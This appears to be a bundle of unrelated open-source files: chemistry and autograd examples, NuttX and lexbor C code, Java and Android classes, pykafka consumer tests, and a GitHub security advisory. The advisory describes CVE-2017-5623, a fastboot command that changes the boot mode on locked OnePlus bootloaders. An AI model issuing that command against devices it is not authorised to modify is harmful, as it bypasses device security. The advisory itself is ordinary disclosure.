<reponame>robert-anderson/pyscf #!/usr/bin/env python # # Author: <NAME> <<EMAIL>> # ''' TDDFT NTO analysis. ''' from pyscf import gto, dft, tddft mol = gto.Mole() mol.build( atom = 'H 0 0 0; F 0 0 1.1', # in Angstrom basis = '631g', symmetry = True, ) mf = dft.RKS(mol) mf.xc = 'b3lyp' mf.kernel() mytd = tddft.TDDFT(mf) mytd.kernel() weights_1, nto_1 = mytd.get_nto(state=1, verbose=4) weights_2, nto_2 = mytd.get_nto(state=2, verbose=4) weights_3, nto_3 = mytd.get_nto(state=3, verbose=4) from pyscf.tools import molden molden.from_mo(mol, 'nto-td-3.molden', nto_3)
304
550
from logging import getLogger, basicConfig, NullHandler basicConfig() logger = getLogger("glue") # Default to Null unless we override this later logger.addHandler(NullHandler())
48
6,119
from __future__ import print_function import autograd.numpy as np from autograd import grad from autograd.misc.fixed_points import fixed_point def newton_sqrt_iter(a): return lambda x: 0.5 * (x + a / x) def grad_descent_sqrt_iter(a): return lambda x: x - 0.05 * (x**2 - a) def sqrt(a, guess=10.): # return fixed_point(newton_sqrt_iter, a, guess, distance, 1e-4) return fixed_point(grad_descent_sqrt_iter, a, guess, distance, 1e-4) def distance(x, y): return np.abs(x - y) print(np.sqrt(2.)) print(sqrt(2.)) print() print(grad(np.sqrt)(2.)) print(grad(sqrt)(2.)) print() print(grad(grad(np.sqrt))(2.)) print(grad(grad(sqrt))(2.)) print()
282
1,006
/**************************************************************************** * libs/libc/tls/tls_alloc.c * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. The * ASF licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <sched.h> #include <errno.h> #include <assert.h> #include <debug.h> #include <nuttx/spinlock.h> #include <nuttx/tls.h> #include <nuttx/sched.h> #if CONFIG_TLS_NELEM > 0 /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: tls_alloc * * Description: * Allocate a group-unique TLS data index * * Input Parameters: * None * * Returned Value: * A TLS index that is unique for use within this task group. * If unsuccessful, an errno value will be returned and set to errno. * ****************************************************************************/ int tls_alloc(CODE void (*dtor)(FAR void *)) { FAR struct task_info_s *info = task_get_info(); int candidate; int ret; DEBUGASSERT(info); /* Search for an unused index. This is done in a critical section here to * avoid concurrent modification of the group TLS index set. */ ret = _SEM_WAIT(&info->ta_sem); if (ret < 0) { ret = _SEM_ERRVAL(ret); return ret; } ret = -EAGAIN; for (candidate = 0; candidate < CONFIG_TLS_NELEM; candidate++) { /* Is this candidate index available? */ tls_ndxset_t mask = (1 << candidate); if ((info->ta_tlsset & mask) == 0) { /* Yes.. allocate the index and break out of the loop */ info->ta_tlsset |= mask; info->ta_tlsdtor[candidate] = dtor; ret = candidate; break; } } _SEM_POST(&info->ta_sem); return ret; } #endif /* CONFIG_TLS_NELEM > 0 */
849
496
<reponame>freemine/lexbor /* * Copyright (C) 2018-2021 <NAME> * * Author: <NAME> <<EMAIL>> */ #ifndef LEXBOR_DOM_COMMENT_H #define LEXBOR_DOM_COMMENT_H #ifdef __cplusplus extern "C" { #endif #include "lexbor/dom/interfaces/document.h" #include "lexbor/dom/interfaces/character_data.h" struct lxb_dom_comment { lxb_dom_character_data_t char_data; }; LXB_API lxb_dom_comment_t * lxb_dom_comment_interface_create(lxb_dom_document_t *document); LXB_API lxb_dom_comment_t * lxb_dom_comment_interface_clone(lxb_dom_document_t *document, const lxb_dom_comment_t *text); LXB_API lxb_dom_comment_t * lxb_dom_comment_interface_destroy(lxb_dom_comment_t *comment); LXB_API lxb_status_t lxb_dom_comment_interface_copy(lxb_dom_comment_t *dst, const lxb_dom_comment_t *src); #ifdef __cplusplus } /* extern "C" */ #endif #endif /* LEXBOR_DOM_COMMENT_H */
435
462
package com.ppdai.infrastructure.mq.biz.common.util; public class ConsumerGroupUtil { public static String getBroadcastConsumerName(String consumerGroupName, String ip, long consumerId) { return String.format("%s_%s-%s", consumerGroupName, ip, consumerId); } public static String getOriginConsumerName(String consumerGroupName) { if (consumerGroupName.indexOf("_") == -1) { return consumerGroupName; } else { return consumerGroupName.substring(0, consumerGroupName.lastIndexOf("_")); } } }
166
788
// // Created by wlanjie on 2020/7/5. //
19
1,210
package iammert.com.dagger_android_injection.ui.main; import javax.inject.Inject; import iammert.com.dagger_android_injection.data.ApiService; /** * Created by mertsimsek on 25/05/2017. */ public class MainPresenterImpl implements MainPresenter{ MainView mainView; ApiService apiService; @Inject public MainPresenterImpl(MainView mainView, ApiService apiService) { this.mainView = mainView; this.apiService = apiService; } public void loadMain(){ apiService.loadData(); mainView.onMainLoaded(); } }
223
6,205
<filename>conans/client/generators/virtualrunenv.py<gh_stars>1000+ from conans.client.generators.virtualenv import VirtualEnvGenerator from conans.client.run_environment import RunEnvironment class VirtualRunEnvGenerator(VirtualEnvGenerator): suffix = "_run" venv_name = "conanrunenv" def __init__(self, conanfile): super(VirtualRunEnvGenerator, self).__init__(conanfile) run_env = RunEnvironment(conanfile) self.env = run_env.vars
174
591
<filename>src/com/hdeva/launcher/IconAdapter.java package com.hdeva.launcher; import android.support.annotation.NonNull; import android.support.v7.widget.RecyclerView; import android.view.ViewGroup; public class IconAdapter extends RecyclerView.Adapter<IconViewHolder> { @NonNull @Override public IconViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { return null; } @Override public void onBindViewHolder(@NonNull IconViewHolder holder, int position) { } @Override public int getItemCount() { return 0; } }
215
460
/* $Id: qfits_time.c,v 1.7 2006/02/17 10:24:52 yjung Exp $ * * This file is part of the ESO QFITS Library * Copyright (C) 2001-2004 European Southern Observatory * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ /* * $Author: yjung $ * $Date: 2006/02/17 10:24:52 $ * $Revision: 1.7 $ * $Name: qfits-6_2_0 $ */ /*----------------------------------------------------------------------------- Includes -----------------------------------------------------------------------------*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <pwd.h> #include <unistd.h> #include <sys/time.h> #include "qfits_time.h" /*----------------------------------------------------------------------------- Macros -----------------------------------------------------------------------------*/ /* Get century from a date in long format */ #define GET_CENTURY(d) (int) ( (d) / 1000000L) /* Get century year from a date in long format */ #define GET_CCYEAR(d) (int) ( (d) / 10000L) /* Get year from a date in long format */ #define GET_YEAR(d) (int) (((d) % 1000000L) / 10000L) /* Get month from a date in long format */ #define GET_MONTH(d) (int) (((d) % 10000L) / 100) /* Get day from a date in long format */ #define GET_DAY(d) (int) ( (d) % 100) /* Get hours from a date in long format */ #define GET_HOUR(t) (int) ( (t) / 1000000L) /* Get minutes from a date in long format */ #define GET_MINUTE(t) (int) (((t) % 1000000L) / 10000L) /* Get seconds from a date in long format */ #define GET_SECOND(t) (int) (((t) % 10000L) / 100) /* Get centi-seconds from a date in long format */ #define GET_CENTI(t) (int) ( (t) % 100) /* Make date in long format from its components */ #define MAKE_DATE(c,y,m,d) (long) (c) * 1000000L + \ (long) (y) * 10000L + \ (long) (m) * 100 + (d) /* Make time in long format from its components */ #define MAKE_TIME(h,m,s,c) (long) (h) * 1000000L + \ (long) (m) * 10000L + \ (long) (s) * 100 + (c) /* Interval values, specified in centiseconds */ #define INTERVAL_CENTI 1 #define INTERVAL_SEC 100 #define INTERVAL_MIN 6000 #define INTERVAL_HOUR 360000L #define INTERVAL_DAY 8640000L /*----------------------------------------------------------------------------- Private to this module -----------------------------------------------------------------------------*/ static long timer_to_date(time_t time_secs); static long timer_to_time(time_t time_secs); static long qfits_time_now(void); static long qfits_date_now (void); /*----------------------------------------------------------------------------*/ /** * @defgroup qfits_time Get date/time, possibly in ISO8601 format * * This module contains various utilities to get the current date/time, * and possibly format it according to the ISO 8601 format. */ /*----------------------------------------------------------------------------*/ /**@{*/ /*----------------------------------------------------------------------------- Function codes -----------------------------------------------------------------------------*/ /*----------------------------------------------------------------------------*/ /** @brief Returns the current date and time as a static string. @return Pointer to statically allocated string Build and return a string containing the date of today and the current time in ISO8601 format. The returned pointer points to a statically allocated string in the function, so no need to free it. */ /*----------------------------------------------------------------------------*/ char * qfits_get_datetime_iso8601(void) { static char date_iso8601[20]; long curdate; long curtime; curdate = qfits_date_now(); curtime = qfits_time_now(); sprintf(date_iso8601, "%04d-%02d-%02dT%02d:%02d:%02d", GET_CCYEAR(curdate), GET_MONTH(curdate), GET_DAY(curdate), GET_HOUR(curtime), GET_MINUTE(curtime), GET_SECOND(curtime)); return date_iso8601; } /**@}*/ /*----------------------------------------------------------------------------*/ /** @brief Returns the current date as a long (CCYYMMDD). @return The current date as a long number. Returns the current date as a long value (CCYYMMDD). Since most system clocks do not return a century, this function assumes that all years 80 and above are in the 20th century, and all years 00 to 79 are in the 21st century. For best results, consume before 1 Jan 2080. Example: 19 Oct 2000 is returned as 20001019 */ /*----------------------------------------------------------------------------*/ static long qfits_date_now (void) { return (timer_to_date (time (NULL))); } /*----------------------------------------------------------------------------*/ /** @brief Returns the current time as a long (HHMMSSCC). @return The current time as a long number. Returns the current time as a long value (HHMMSSCC). If the system clock does not return centiseconds, these are set to zero. Example: 15:36:12.84 is returned as 15361284 */ /*----------------------------------------------------------------------------*/ static long qfits_time_now(void) { struct timeval time_struct; gettimeofday (&time_struct, 0); return (timer_to_time (time_struct.tv_sec) + time_struct.tv_usec / 10000); } /*----------------------------------------------------------------------------*/ /** @brief Converts a timer value to a date. @param time_secs Current time definition in seconds. @return Current date as a long (CCYYMMDD). Converts the supplied timer value into a long date value. Dates are stored as long values: CCYYMMDD. If the supplied value is zero, returns zero. If the supplied value is out of range, returns 1 January, 1970 (19700101). The timer value is assumed to be UTC (GMT). */ /*----------------------------------------------------------------------------*/ static long timer_to_date(time_t time_secs) { struct tm time_struct; if (time_secs == 0) { return 0; } else { /* Convert into a long value CCYYMMDD */ if (localtime_r (&time_secs, &time_struct)) { time_struct.tm_year += 1900; return (MAKE_DATE ( time_struct.tm_year / 100, time_struct.tm_year % 100, time_struct.tm_mon + 1, time_struct.tm_mday)); } else { return (19700101); } } } /*----------------------------------------------------------------------------*/ /** @brief Convert a timer value to a time. @param time_secs Current time definition in seconds. @return Current time as a long. Converts the supplied timer value into a long time value. Times are stored as long values: HHMMSS00. Since the timer value does not hold centiseconds, these are set to zero. If the supplied value was zero or invalid, returns zero. The timer value is assumed to be UTC (GMT). */ /*----------------------------------------------------------------------------*/ static long timer_to_time(time_t time_secs) { struct tm time_struct; if (time_secs == 0) { return 0; } else { /* Convert into a long value HHMMSS00 */ if (localtime_r (&time_secs, &time_struct)) { return (MAKE_TIME (time_struct.tm_hour, time_struct.tm_min, time_struct.tm_sec, 0)); } else { return 0; } } }
3,133
1,155
<filename>examples/click-no-id-button.py<gh_stars>1000+ #! /usr/bin/env python ''' Copyright (C) 2012 <NAME> Created on Aug 7, 2012 @author: diego ''' import sys import os try: sys.path.append(os.path.join(os.environ['ANDROID_VIEW_CLIENT_HOME'], 'src')) except: pass from com.dtmilano.android.viewclient import ViewClient vc = ViewClient(*ViewClient.connectToDeviceOrExit()) for i in range(1, 9): view = vc.findViewById("id/no_id/%d" % i) if view: print view.__tinyStr__() view.touch()
223
1,174
<gh_stars>1000+ from __future__ import division import math import mock import os import pkg_resources import platform import pytest import time import threading import unittest2 from uuid import uuid4 from kazoo.client import KazooClient try: import gevent except ImportError: gevent = None from pykafka import KafkaClient from pykafka.balancedconsumer import BalancedConsumer, OffsetType from pykafka.exceptions import ConsumerStoppedException from pykafka.managedbalancedconsumer import ManagedBalancedConsumer from pykafka.membershipprotocol import (GroupMembershipProtocol, RoundRobinProtocol, RangeProtocol) from pykafka.test.utils import get_cluster, stop_cluster from pykafka.utils.compat import range, iterkeys, iteritems kafka_version_string = os.environ.get('KAFKA_VERSION', '0.8') kafka_version = pkg_resources.parse_version(kafka_version_string) version_09 = pkg_resources.parse_version("0.9.0.0") class TestBalancedConsumer(unittest2.TestCase): @classmethod def setUpClass(cls): cls._consumer_timeout = 2000 cls._mock_consumer, _ = TestBalancedConsumer.buildMockConsumer(timeout=cls._consumer_timeout) @classmethod def buildMockConsumer(self, consumer_group=b'testgroup', num_partitions=10, num_participants=1, timeout=2000): topic = mock.Mock() topic.name = 'testtopic' topic.partitions = {} for k in range(num_partitions): part = mock.Mock(name='part-{part}'.format(part=k)) part.id = k part.topic = topic part.leader = mock.Mock() part.leader.id = k % num_participants topic.partitions[k] = part cluster = mock.MagicMock() zk = mock.MagicMock() return BalancedConsumer(topic, cluster, consumer_group, zookeeper=zk, auto_start=False, use_rdkafka=False, consumer_timeout_ms=timeout), topic def test_unicode_consumer_group(self): consumer, _ = self.buildMockConsumer(consumer_group=u'testgroup') def test_consume_returns(self): """Ensure that consume() returns in the amount of time it's supposed to """ self._mock_consumer._setup_internal_consumer(start=False) self._mock_consumer._consumer._partitions_by_id = {1: "dummy"} self._mock_consumer._running = True start = time.time() self._mock_consumer.consume() self.assertEqual(int(time.time() - start), int(self._consumer_timeout / 1000)) def test_consume_graceful_stop(self): """Ensure that stopping a consumer while consuming from Kafka does not end in an infinite loop when timeout is not used. """ consumer, _ = self.buildMockConsumer(timeout=-1) consumer._setup_internal_consumer(start=False) consumer._consumer._partitions_by_id = {1: "dummy"} consumer.stop() with self.assertRaises(ConsumerStoppedException): consumer.consume() def _test_decide_partitions(self, membership_protocol): for i in range(100): num_participants = i + 1 num_partitions = 100 - i participants = sorted(['test-debian:{p}'.format(p=p) for p in range(num_participants)]) cns, topic = self.buildMockConsumer(num_partitions=num_partitions, num_participants=num_participants) cns._membership_protocol = membership_protocol assigned_parts = [] for consumer_id in participants: partitions = cns._membership_protocol.decide_partitions( participants, topic.partitions, consumer_id) assigned_parts.extend(partitions) remainder_ppc = num_partitions % num_participants idx = participants.index(consumer_id) parts_per_consumer = math.floor(num_partitions / num_participants) num_parts = parts_per_consumer + (0 if (idx + 1 > remainder_ppc) else 1) self.assertEqual(len(partitions), int(num_parts)) # Validate all partitions were assigned once and only once all_partitions = sorted(topic.partitions.values(), key=lambda x: x.id) assigned_parts = sorted(assigned_parts, key=lambda x: x.id) self.assertListEqual(assigned_parts, all_partitions) def test_decide_partitions_range(self): self._test_decide_partitions(RangeProtocol) def test_decide_partitions_roundrobin(self): self._test_decide_partitions(RoundRobinProtocol) class TestManagedBalancedConsumer(TestBalancedConsumer): @classmethod def buildMockConsumer(self, consumer_group=b'testgroup', num_partitions=10, num_participants=1, timeout=2000): topic = mock.Mock() topic.name = 'testtopic' topic.partitions = {} for k in range(num_partitions): part = mock.Mock(name='part-{part}'.format(part=k)) part.id = k part.topic = topic part.leader = mock.Mock() part.leader.id = k % num_participants topic.partitions[k] = part cluster = mock.MagicMock() cns = ManagedBalancedConsumer(topic, cluster, consumer_group, auto_start=False, use_rdkafka=False, consumer_timeout_ms=timeout) cns._group_coordinator = mock.MagicMock() return cns, topic class BalancedConsumerIntegrationTests(unittest2.TestCase): maxDiff = None USE_RDKAFKA = False USE_GEVENT = False MANAGED_CONSUMER = False @classmethod def setUpClass(cls): cls.kafka = get_cluster() cls.topic_name = uuid4().hex.encode() cls.n_partitions = 3 cls.kafka.create_topic(cls.topic_name, cls.n_partitions, 2) cls.total_msgs = 1000 cls.client = KafkaClient(cls.kafka.brokers, use_greenlets=cls.USE_GEVENT, broker_version=kafka_version_string) cls.prod = cls.client.topics[cls.topic_name].get_producer( min_queued_messages=1 ) for i in range(cls.total_msgs): cls.prod.produce('msg {num}'.format(num=i).encode()) @classmethod def tearDownClass(cls): stop_cluster(cls.kafka) def get_zk(self): if not self.USE_GEVENT: return KazooClient(self.kafka.zookeeper) from kazoo.handlers.gevent import SequentialGeventHandler return KazooClient(self.kafka.zookeeper, handler=SequentialGeventHandler()) def get_balanced_consumer(self, consumer_group, **kwargs): if self.MANAGED_CONSUMER: kwargs.pop("zookeeper", None) kwargs.pop("zookeeper_connect", None) return self.client.topics[self.topic_name].get_balanced_consumer( consumer_group, managed=self.MANAGED_CONSUMER, **kwargs ) def test_extra_consumer(self): """Ensure proper operation of "extra" consumers in a group An "extra" consumer is the N+1th member of a consumer group consuming a topic of N partitions, and any consumer beyond the N+1th. """ group = b"test_extra_consumer" extras = 1 def verify_extras(consumers, extras_count): messages = [c.consume() for c in consumers] successes = [a for a in messages if a is not None] nones = [a for a in messages if a is None] attempts = 0 while len(nones) != extras_count and attempts < 5: messages = [c.consume() for c in consumers] successes = [a for a in messages if a is not None] nones = [a for a in messages if a is None] attempts += 1 self.assertEqual(len(nones), extras_count) self.assertEqual(len(successes), self.n_partitions) try: consumers = [self.get_balanced_consumer(group, consumer_timeout_ms=5000) for i in range(self.n_partitions + extras)] verify_extras(consumers, extras) # when one consumer stops, the extra should pick up its partitions removed = consumers[:extras] for consumer in removed: consumer.stop() consumers = [a for a in consumers if a not in removed] self.wait_for_rebalancing(*consumers) self.assertEqual(len(consumers), self.n_partitions) verify_extras(consumers, 0) # added "extra" consumers should idle for i in range(extras): consumers.append(self.get_balanced_consumer(group, consumer_timeout_ms=5000)) self.wait_for_rebalancing(*consumers) verify_extras(consumers, extras) finally: for consumer in consumers: try: consumer.stop() except: pass # weird name to ensure test execution order, because there is an unintended # interdependency between test_consume_latest and other tests def test_a_rebalance_unblock_event(self): """Adding a new consumer instance to a group should release blocking consume() call of any existing consumer instance(s). https://github.com/Parsely/pykafka/issues/701 """ if self.USE_GEVENT: pytest.skip("Unresolved failure") group = b'test_rebalance' consumer_a = self.get_balanced_consumer(group, consumer_timeout_ms=-1) # consume all msgs to block the consume() call count = 0 for _ in consumer_a: count += 1 if count == self.total_msgs: break consumer_a_thread = threading.Thread(target=consumer_a.consume) consumer_a_thread.start() consumer_b = self.get_balanced_consumer(group, consumer_timeout_ms=-1) consumer_b_thread = threading.Thread(target=consumer_b.consume) consumer_b_thread.start() consumer_a_thread.join(30) consumer_b_thread.join(30) # consumer thread would die in case of any rebalancing errors self.assertTrue(consumer_a_thread.is_alive() and consumer_b_thread.is_alive()) def test_rebalance_callbacks(self): def on_rebalance(cns, old_partition_offsets, new_partition_offsets): self.assertTrue(len(new_partition_offsets) > 0) self.assigned_called = True for id_ in iterkeys(new_partition_offsets): new_partition_offsets[id_] = self.offset_reset return new_partition_offsets self.assigned_called = False self.offset_reset = 50 try: consumer_group = b'test_rebalance_callbacks' consumer_a = self.get_balanced_consumer( consumer_group, zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.EARLIEST, post_rebalance_callback=on_rebalance, use_rdkafka=self.USE_RDKAFKA) consumer_b = self.get_balanced_consumer( consumer_group, zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.EARLIEST, use_rdkafka=self.USE_RDKAFKA) self.wait_for_rebalancing(consumer_a, consumer_b) self.assertTrue(self.assigned_called) for _, offset in iteritems(consumer_a.held_offsets): self.assertEqual(offset, self.offset_reset) finally: try: consumer_a.stop() consumer_b.stop() except: pass def test_rebalance_callbacks_surfaces_errors(self): def on_rebalance(cns, old_partition_offsets, new_partition_offsets): raise ValueError("BAD CALLBACK") self.assigned_called = False self.offset_reset = 50 try: consumer_group = b'test_rebalance_callbacks_error' consumer_a = self.get_balanced_consumer( consumer_group, zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.EARLIEST, post_rebalance_callback=on_rebalance, use_rdkafka=self.USE_RDKAFKA) consumer_b = self.get_balanced_consumer( consumer_group, zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.EARLIEST, use_rdkafka=self.USE_RDKAFKA) with pytest.raises(ValueError) as ex: self.wait_for_rebalancing(consumer_a, consumer_b) assert 'BAD CALLBACK' in str(ex.value) finally: try: consumer_a.stop() consumer_b.stop() except: pass def test_consume_earliest(self): try: consumer_a = self.get_balanced_consumer( b'test_consume_earliest', zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.EARLIEST, use_rdkafka=self.USE_RDKAFKA) consumer_b = self.get_balanced_consumer( b'test_consume_earliest', zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.EARLIEST, use_rdkafka=self.USE_RDKAFKA) # Consume from both a few times messages = [consumer_a.consume() for i in range(1)] self.assertTrue(len(messages) == 1) messages = [consumer_b.consume() for i in range(1)] self.assertTrue(len(messages) == 1) # Validate they aren't sharing partitions self.assertSetEqual( consumer_a._partitions & consumer_b._partitions, set() ) # Validate all partitions are here self.assertSetEqual( consumer_a._partitions | consumer_b._partitions, set(self.client.topics[self.topic_name].partitions.values()) ) finally: try: consumer_a.stop() consumer_b.stop() except: pass def test_consume_latest(self): try: consumer_a = self.get_balanced_consumer( b'test_consume_latest', zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.LATEST, use_rdkafka=self.USE_RDKAFKA) consumer_b = self.get_balanced_consumer( b'test_consume_latest', zookeeper_connect=self.kafka.zookeeper, auto_offset_reset=OffsetType.LATEST, use_rdkafka=self.USE_RDKAFKA) # Make sure we're done before producing more messages: self.wait_for_rebalancing(consumer_a, consumer_b) # Since we are consuming from the latest offset, # produce more messages to consume. for i in range(10): self.prod.produce('msg {num}'.format(num=i).encode()) # Consume from both a few times messages = [consumer_a.consume() for i in range(1)] self.assertTrue(len(messages) == 1) messages = [consumer_b.consume() for i in range(1)] self.assertTrue(len(messages) == 1) # Validate they aren't sharing partitions self.assertSetEqual( consumer_a._partitions & consumer_b._partitions, set() ) # Validate all partitions are here self.assertSetEqual( consumer_a._partitions | consumer_b._partitions, set(self.client.topics[self.topic_name].partitions.values()) ) finally: try: consumer_a.stop() consumer_b.stop() except: pass def test_external_kazoo_client(self): """Run with pre-existing KazooClient instance This currently doesn't assert anything, it just rules out any trivial exceptions in the code path that uses an external KazooClient """ if self.MANAGED_CONSUMER: pytest.skip("Managed consumer doesn't use zookeeper") zk = KazooClient(self.kafka.zookeeper) zk.start() consumer = self.get_balanced_consumer( b'test_external_kazoo_client', zookeeper=zk, consumer_timeout_ms=10, use_rdkafka=self.USE_RDKAFKA) [msg for msg in consumer] consumer.stop() def test_no_partitions(self): """Ensure a consumer assigned no partitions doesn't fail""" def _decide_dummy(participants, partitions, consumer_id): return set() consumer = self.get_balanced_consumer( b'test_no_partitions', zookeeper_connect=self.kafka.zookeeper, auto_start=False, consumer_timeout_ms=50, use_rdkafka=self.USE_RDKAFKA) consumer._membership_protocol = GroupMembershipProtocol( consumer._membership_protocol.protocol_type, consumer._membership_protocol.protocol_name, consumer._membership_protocol.metadata, _decide_dummy ) consumer.start() res = consumer.consume() self.assertEqual(res, None) self.assertTrue(consumer._running) # check that stop() succeeds (cf #313 and #392) consumer.stop() def test_zk_conn_lost(self): """Check we restore zookeeper nodes correctly after connection loss See also github issue #204. """ if self.MANAGED_CONSUMER: pytest.skip("Managed consumer doesn't use zookeeper") check_partitions = lambda c: c._get_held_partitions() == c._partitions zk = self.get_zk() zk.start() try: consumer_group = b'test_zk_conn_lost' consumer = self.get_balanced_consumer(consumer_group, zookeeper=zk, use_rdkafka=self.USE_RDKAFKA) self.assertTrue(check_partitions(consumer)) with consumer._rebalancing_lock: zk.stop() # expires session, dropping all our nodes # Start a second consumer on a different zk connection other_consumer = self.get_balanced_consumer( consumer_group, use_rdkafka=self.USE_RDKAFKA) # Slightly contrived: we'll grab a lock to keep _rebalance() from # starting when we restart the zk connection (restart triggers a # rebalance), so we can confirm the expected discrepancy between # the (empty) set of partitions on zk and the set in the internal # consumer: with consumer._rebalancing_lock: zk.start() self.assertFalse(check_partitions(consumer)) # Finally, confirm that _rebalance() resolves the discrepancy: self.wait_for_rebalancing(consumer, other_consumer) self.assertTrue(check_partitions(consumer)) self.assertTrue(check_partitions(other_consumer)) finally: try: consumer.stop() other_consumer.stop() zk.stop() except: pass def wait_for_rebalancing(self, *balanced_consumers): """Test helper that loops while rebalancing is ongoing Needs to be given all consumer instances active in a consumer group. Waits for up to 100 seconds, which should be enough for even a very oversubscribed test cluster. """ for _ in range(500): n_parts = [len(cons.partitions) for cons in balanced_consumers] if (max(n_parts) - min(n_parts) <= 1 and sum(n_parts) == self.n_partitions): break else: balanced_consumers[0]._cluster.handler.sleep(.2) # check for failed consumers (there'd be no point waiting anymore) [cons._raise_worker_exceptions() for cons in balanced_consumers] else: raise AssertionError("Rebalancing failed") @pytest.mark.skipif(platform.python_implementation() == "PyPy" or gevent is None, reason="Unresolved crashes") class BalancedConsumerGEventIntegrationTests(BalancedConsumerIntegrationTests): USE_GEVENT = True @pytest.mark.skipif(kafka_version < version_09, reason="Managed consumer unsupported until 0.9") class ManagedBalancedConsumerIntegrationTests(BalancedConsumerIntegrationTests): MANAGED_CONSUMER = True @pytest.mark.skipif(platform.python_implementation() == "PyPy" or kafka_version < version_09 or gevent is None, reason="Unresolved crashes") class ManagedBalancedConsumerGEventIntegrationTests(BalancedConsumerIntegrationTests): MANAGED_CONSUMER = True USE_GEVENT = True if __name__ == "__main__": unittest2.main()
10,184
852
#ifndef Fireworks_Core_FWDetailViewFactory_h #define Fireworks_Core_FWDetailViewFactory_h // -*- C++ -*- // // Package: Core // Class : FWDetailViewFactory // /**\class FWDetailViewFactory FWDetailViewFactory.h Fireworks/Core/interface/FWDetailViewFactory.h Description: <one line class summary> Usage: <usage> */ // // Original Author: <NAME> // Created: Mon Jan 12 09:48:04 EST 2009 // // system include files #include "FWCore/PluginManager/interface/PluginFactory.h" // user include files // forward declarations class FWDetailViewBase; typedef edmplugin::PluginFactory<FWDetailViewBase*()> FWDetailViewFactory; #define REGISTER_FWDETAILVIEW(_classname_, _name_, ...) \ DEFINE_EDM_PLUGIN(FWDetailViewFactory, \ _classname_, \ _classname_::classRegisterTypeName() + "@" #_name_ "@" #_classname_ "&" #__VA_ARGS__) #endif
395
892
{ "schema_version": "1.2.0", "id": "GHSA-3jj3-7hg7-2w24", "modified": "2022-05-13T01:46:13Z", "published": "2022-05-13T01:46:13Z", "aliases": [ "CVE-2017-5623" ], "details": "An issue was discovered in OxygenOS before 4.1.0 on OnePlus 3 and 3T devices. The attacker can change the bootmode of the device by issuing the 'fastboot oem boot_mode {rf/wlan/ftm/normal} command' in contradiction to the threat model of Android where the bootloader MUST NOT allow any security-sensitive operation to be run unless the bootloader is unlocked.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5623" }, { "type": "WEB", "url": "https://alephsecurity.com/vulns/aleph-2017005" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/97048" } ], "database_specific": { "cwe_ids": [ "CWE-269" ], "severity": "HIGH", "github_reviewed": false } }
514
622
<gh_stars>100-1000 /* * Copyright (c) LinkedIn Corporation. All rights reserved. Licensed under the BSD-2 Clause license. * See LICENSE in the project root for license information. */ package com.linkedin.flashback.netty.builder; import com.linkedin.flashback.serializable.RecordedHttpResponse; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.DefaultFullHttpResponse; import io.netty.handler.codec.http.DefaultHttpContent; import io.netty.handler.codec.http.DefaultLastHttpContent; import io.netty.handler.codec.http.HttpContent; import io.netty.handler.codec.http.HttpResponse; import io.netty.handler.codec.http.HttpResponseStatus; import io.netty.handler.codec.http.HttpVersion; import java.io.IOException; import org.testng.Assert; import org.testng.annotations.Test; /** * @author shfeng */ public class RecordedHttpResponseBuilderTest { @Test public void testBuild() throws IOException { HttpResponse httpResponse = new DefaultFullHttpResponse(HttpVersion.HTTP_1_0, HttpResponseStatus.GATEWAY_TIMEOUT); RecordedHttpResponseBuilder recordedHttpResponseBuilder = new RecordedHttpResponseBuilder(httpResponse); String charset = "UTF-8"; String str1 = "Hello world"; HttpContent httpContent1 = new DefaultHttpContent(Unpooled.copiedBuffer(str1.getBytes(charset))); recordedHttpResponseBuilder.appendHttpContent(httpContent1); String str2 = "second content"; HttpContent httpContent2 = new DefaultHttpContent(Unpooled.copiedBuffer(str2.getBytes(charset))); recordedHttpResponseBuilder.appendHttpContent(httpContent2); String lastStr = "Last chunk"; HttpContent lastContent = new DefaultLastHttpContent(Unpooled.copiedBuffer(lastStr.getBytes(charset))); recordedHttpResponseBuilder.appendHttpContent(lastContent); RecordedHttpResponse recordedHttpResponse = recordedHttpResponseBuilder.build(); Assert.assertEquals(recordedHttpResponse.getStatus(), HttpResponseStatus.GATEWAY_TIMEOUT.code()); Assert.assertEquals((str1 + str2 + lastStr).getBytes(charset), recordedHttpResponse.getHttpBody().getContent(charset)); } }
663
945
